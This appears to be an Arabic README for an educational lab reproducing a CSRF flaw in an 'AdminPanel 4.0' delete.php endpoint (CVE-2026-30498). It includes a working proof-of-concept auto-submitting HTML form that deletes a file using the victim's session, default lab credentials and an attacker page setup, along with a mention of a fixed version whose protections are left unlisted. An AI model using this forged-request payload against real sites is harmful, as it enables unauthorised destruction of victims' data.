
عرض تعليمي لثغرة CSRF في بيئة مختبرية خاضعة للتحكم، بما في ذلك استغلال إثبات المفهوم ونسخة مُصلحة مع حمايات CSRF مناسبة.
معرف CVE: CVE-2026-30498 (محجوز من قبل MITRE)
مكتشف الثغرة: مهدي بن حمود
توجد ثغرة تزوير الطلبات عبر المواقع (CSRF) في نقطة النهاية delete.php في AdminPanel 4.0.
تسمح هذه الثغرة للمهاجم بتفعيل إجراءات حساسة (حذف ملفات) نيابة عن مستخدم مُصادق عليه دون موافقته.
سبب الثغرة هو غياب حمايات CSRF:
تعالج نقطة النهاية الضعيفة الطلبات مباشرة بناءً على جلسة المستخدم دون التحقق من مصدر الطلب.
يؤدي الاستغلال الناجح إلى:
verifyPanel.phpيستضيف المهاجم صفحة ويب خبيثة ترسل طلبًا مزورًا:
http://localhost:8080/delete.php?file=verifyPanel.php
عندما يزور الضحية (مستخدم مُصادق عليه) هذه الصفحة، يقوم المتصفح تلقائيًا بتضمين ملفات تعريف الارتباط الخاصة بالجلسة، ويتم تنفيذ الطلب.
<form id="csrfForm" action="http://localhost:8080/delete.php" method="GET">
<input type="hidden" name="file" value="verifyPanel.php">
</form>
<script>
document.getElementById("csrfForm").submit();
</script>
يتم إرسال هذا الطلب تلقائيًا مع ملف تعريف ارتباط الجلسة الخاص بالضحية.
php -S localhost:8080
http://localhost:8080
admin / admin123
http://localhost:8081/evil.html
/panel/dashboard.php
يتضمن هذا المستودع بيئة مختبر خاضعة للتحكم لإعادة إنتاج الثغرة بأمان.
مهم: هذا المختبر عبارة عن محاكاة ولا يمثل قاعدة كود AdminPanel الأصلية بدقة.
لإعادة تعيين البيئة:
/reset.php
يتم تنفيذ نسخة آمنة في:
delete_fixed.php
الحمايات المضافة:
victim/
├── index.php
├── delete.php
├── delete_fixed.php
├── reset.php
└── panel/
└── dashboard.php
attacker/
└── evil.html
هذا المشروع مخصص لأغراض تعليمية وبحثية فقط.
لا تستخدم هذه الثغرة على الأنظمة دون الحصول على إذن مناسب.